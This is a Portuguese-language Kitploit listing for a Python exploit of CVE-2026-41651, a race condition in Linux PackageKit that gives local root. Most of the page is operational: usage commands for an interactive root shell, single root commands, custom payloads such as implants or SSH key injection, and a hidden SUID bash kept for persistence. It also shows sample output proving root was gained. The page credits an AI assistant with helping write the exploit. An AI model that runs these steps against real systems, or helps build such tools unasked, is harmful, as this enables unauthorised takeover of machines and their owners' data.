Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-41651-Python | Kitploit
Ferramentas/GitHubGitHub/mawussid/cve-2026-41651-python
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubmawussid/cve-2026-41651-python

CVE-2026-41651-Python

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Pack2TheRoot: CVE-2026-41651 (Python)

PoC em Python do exploit de escalonamento local de privilégios TOCTOU do PackageKit. Qualquer usuário local sem privilégios pode instalar pacotes arbitrários como root, sem autenticação.

CampoValor
CVECVE-2026-41651
ComponenteDaemon do PackageKit (packagekitd)
Versões afetadas1.0.2 – 1.3.4
Corrigido em1.3.5
ImpactoEscalonamento local de privilégios → root

Aviso legal

Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada.


Requisitos

SO vulnerável: Qualquer distribuição Linux executando PackageKit >= 1.0.2 <= 1.3.4.

Limitação do PoC: o construtor de pacotes integrado só produz arquivos .deb, portanto o script exige um host Debian/Ubuntu para ser executado como está. Em sistemas baseados em RPM, forneça um payload postinst personalizado via --payload-script e garanta que dpkg/dpkg-dev esteja disponível, ou adapte o construtor.

Python: 3.6+

Pacotes de sistema (Debian/Ubuntu):

root@kitploit:~
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0

Observação sobre dependências: python3-dbus e python3-gi não fazem parte da stdlib do Python, mas quase sempre já estão presentes em qualquer máquina executando um ambiente de desktop gráfico (GNOME, KDE, XFCE, etc.), pois esses ambientes dependem diretamente delas. Em uma instalação padrão do Ubuntu Desktop, ambas as bibliotecas estão disponíveis sem qualquer instalação manual. Em um servidor mínimo sem GUI, elas podem estar ausentes; nesse caso, o apt install acima exige sudo, o que contradiz o contexto de LPE. Na prática, qualquer máquina executando PackageKit com uma sessão de desktop já terá essas dependências satisfeitas.

gir1.2-glib-2.0 fornece os arquivos typelib do GObject Introspection para GLib. python3-gi é o mecanismo de binding do Python, mas precisa desses arquivos typelib para saber como falar especificamente com GLib. Sem este pacote, from gi.repository import GLib falha mesmo se python3-gi estiver instalado. Ambos são puxados automaticamente por qualquer desktop baseado em GNOME.

Observação sobre a tentativa apenas com stdlib: uma versão anterior deste PoC tentou remover essas dependências por completo, substituindo as chamadas D-Bus por subprocessos gdbus/dbus-send e, em seguida, falando o protocolo de fio do D-Bus diretamente pelo socket Unix. Ambas as abordagens falharam em disparar a corrida TOCTOU de forma confiável: gerar processos externos introduz latência suficiente entre as duas chamadas InstallFiles para que o PackageKit processe a Etapa 1 antes de a Etapa 2 chegar, quebrando a corrida. O binding dbus-python envia ambas as chamadas em modo fire-and-forget no mesmo socket já aberto, sem overhead de fork, e é isso que faz o timing funcionar. A versão apenas com stdlib foi revertida por esse motivo.

Verifique a versão do PackageKit (sem o poc):

root@kitploit:~
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii

Uso

root@kitploit:~
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
                         [--payload-script FILE] [--suid-path PATH]
                         [--no-cleanup] [--timeout N] [--quiet]

Exemplos:

root@kitploit:~
# Check if the target is vulnerable (no exploit)
python3 cve-2026-41651.py --check

# Full exploit → interactive root shell
python3 cve-2026-41651.py

# Run a single command as root
python3 cve-2026-41651.py --exec "id"

# Custom payload (implant, SSH key injection…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh

# Keep the SUID bash after exit, custom path
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup

# Scriptable / fast mode
python3 cve-2026-41651.py --timeout 60 --quiet

Saída esperada:

root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy   : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...

[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

Créditos

Baseado no PoC original em C de Vozec. Esta é uma reescrita em Python para portabilidade. Todo o crédito pela técnica do exploit vai para o autor original.

Reescrita em Python desenvolvida com a assistência de Claude (Anthropic).

Baixar ferramenta
FlagDescrição
--checkConsulta a versão do PackageKit e informa se é vulnerável, depois sai
--exec CMDExecuta um único comando como root em vez de abrir um shell interativo
--payload-script FILEUsa um script postinst personalizado em vez do dropper bash SUID integrado
--suid-path PATHOnde depositar o bash SUID (padrão: /tmp/.suid_bash)
--no-cleanupMantém o bash SUID após o shell sair
--timeout NSegundos para fazer polling do bash SUID (padrão: 120)
--quietSuprime a saída de progresso (para scripts)